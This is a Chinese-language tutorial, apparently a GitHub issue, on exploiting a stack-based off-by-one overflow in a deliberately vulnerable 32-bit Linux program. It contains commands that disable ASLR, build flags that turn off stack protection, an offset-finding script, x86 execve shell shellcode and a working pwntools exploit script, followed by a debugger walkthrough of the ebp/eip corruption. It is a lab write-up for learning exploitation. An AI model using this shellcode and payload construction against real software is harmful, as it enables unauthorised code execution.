articles icon indicating copy to clipboard operation
articles copied to clipboard

Linux off by one漏洞(基于栈)

Open xinali opened this issue 6 years ago • 0 comments

Linux off by one(基于栈)

从理论上去考虑off by one比较难理解,解释多了越解释越糊涂,因为我搜了好几篇文章都没有搞明白,所以直接跟着做实验,看到效果之后再来理解原理,会好理解很多!

命令执行实验

实验环境:docker ubuntu:16.04,代码vuln.c

#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
 bar(arg); /* [1] */
}
void bar(char* arg) {
 char buf[256];
 strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
 if(strlen(argv[1])>256) { /* [3] */
  printf("Attempted Buffer Overflow\n");
  fflush(stdout);
  return -1;
 }
 foo(argv[1]); /* [4] */
 return 0;
}

docker运行时记得添加--privileged=true

第一步关闭地址随机化,开启core转储

echo 0 > /proc/sys/kernel/randomize_va_space
ulimit -c unlimited
sh -c 'echo "/tmp/core" > /proc/sys/kernel/core_pattern'

因为我的是64位内核,所以默认拉取的是64位的docker镜像,所以编译这么写

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32 -o vuln vuln.c

其中-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。 根据代码生成测试字符串,确定eip的偏移位置。

#encoding: utf-8

import os

print "exec start..."
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
os.system("./vuln " + payload)
print "exec done..."

运行一下,生成转储文件

利用pwndbg打开/tmp/core转储文件

eip转化为字符串或者使用我写的程序直接搜索

encoding:utf-8

import sys
from pwnlib.util.cyclic import cyclic, cyclic_find

def usage():
    print """
====================================================
        [*] python genseq.py s/g arg"
        example:
        generate: python genseq.py g 1000
        search: python genseq.py s abcd
====================================================
        """

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
        sys.exit(1)

    op = sys.argv[1]
    try:
        if op == 'g':
            gen_len = sys.argv[2]
            print cyclic(int(gen_len))
        elif op == 's':
            search_ch = sys.argv[2]
            if len(sys.argv[2]) > 4:
                hex_ch = search_ch.decode('hex')[::-1]
                print hex_ch
                print cyclic_find(hex_ch)
            else:
                print cyclic_find(search_ch)

    except Exception as ex:
        print ex
        usage()

结果

➜  test python genseq.py s 61616172
raaa
68

利用peda生成的shellcode,构造一个payload

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

测试代码

#encoding:utf-8

from pwn import *
from subprocess import call


ret_addr = p32(0xffffd508)
nop1 = '\x90' * 68
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
length = len(nop1 + ret_addr + shellcode)
nop2 = '\x90' * (256 - length)

payload = nop1 + ret_addr + shellcode + nop2

print "exec start..."
call(['./vuln', payload)
print "exec done..."

效果(不知道为什么无法显示命令字符串,只有结果,难道是因为docker的锅?),执行了whoamicat /etc/issue

成功命令执行,现在来好好理解一下这个原理!

off by one 原理

原理就是栈溢出,导致命令执行。现在来根据vuln.c代码一点一点看。 程序整体的流程是这样的

main---> foo ---> bar --->strcpy

strcpy会将vuln的参数复制到buf所在内存中。 如果参数大于256,会直接退出执行;如果小于256,buf空间足够;问题出在正好是256上,就一个字节之差!造成off by one的原因就是这一个字节,因为256个字节的话,刚好放在buf空间上,但是strcpy最后会放置一个空字符在buf的最后,但是buf已经没有空间了,那只能溢出下一个字节的最后一个字节。形象一点应该是这样的

+------+
|      | ret_addr
+------+
|xxxx00| ebp
+------+
| buf  |
+------+
| buf  |
+------+
| .... |
+------+

真正的调试一下看看是不是这样的

直接利用pwndbg调试,eip的偏移量会比在代码中运行要多,具体原因我也没找到。。。

strcpy之前设置断点

因为没有栈检查,栈中空间都存储的局部变量,局部变量如果溢出那么最开始影响的就是ebp的数据

注意ebp的地址和值,next下一步

ebp末尾一个字节变为0,产生了off by one溢出。接着执行到leave

leave指令相当于

leave => mov esp, ebp  ;把ebp赋给esp
         pop ebp       ;弹出栈顶元素给ebp

转变一下

mov eap, ebp => esp=0xfffd550
pop ebp => ebp=(esp)=0xffffd500 esp=esp+4=0xffd554 

调试验证

ret相当于pop eip,栈顶中的元素为0x80484a6,也就是foo+11,要跳转到foo函数中执行,执行到这里我们可以发现,off by one并没有直接改变最近的跳转eip,而是在接下来中的操作改变的。

接着执行到foo中的leave

同样的

mov eap, ebp => esp=0xfffd500
pop ebp => ebp=(esp)=0x62616174 esp=esp+4=0xffd504

验证一下

ret会影响eip的值了!eip变为了0x62616175

到这里off by one形成的原因也就找到了!也可以通过改变eip的值达到任意代码执行了。

payload构造原理

payload构造主要就2点

  1. shellcode存储位置
  2. 找到eip

格式: nops1 + ret_addr + shellcode + nops2

+---------+
|         |
+---------+
|         |
+---------+
|         | shellcode <----------+
+---------+                      |
|         |                      |
+---------+                      |
|         |                      |
+---------+                      |
|         | eip 跳转到shellcode---+
+---------+
|         |
+---------+
|         |
+---------+

eip我们通过上面的分析知道,可以通过字符串复制去覆盖。只要找到偏移量即可。上面实验已经找到了! 现在需要确定ret_addr,利用ret_addr去覆盖eip就可以实现跳转。我们通过上面的分析,最后异常的部分,ret => pop eip弹出了esp栈顶元素,esp=esp+4。

esp上的数据都是复制的来的,并且位置固定。所以只要使用esp的地址即可。之后紧跟着shellcode,不满足256长度的部分,依旧使用\x90填充。具体构造上面已经给出了,不再赘述。

参考

一步一步学ROP 一篇翻译的off by one

xinali avatar Apr 15 '18 15:04 xinali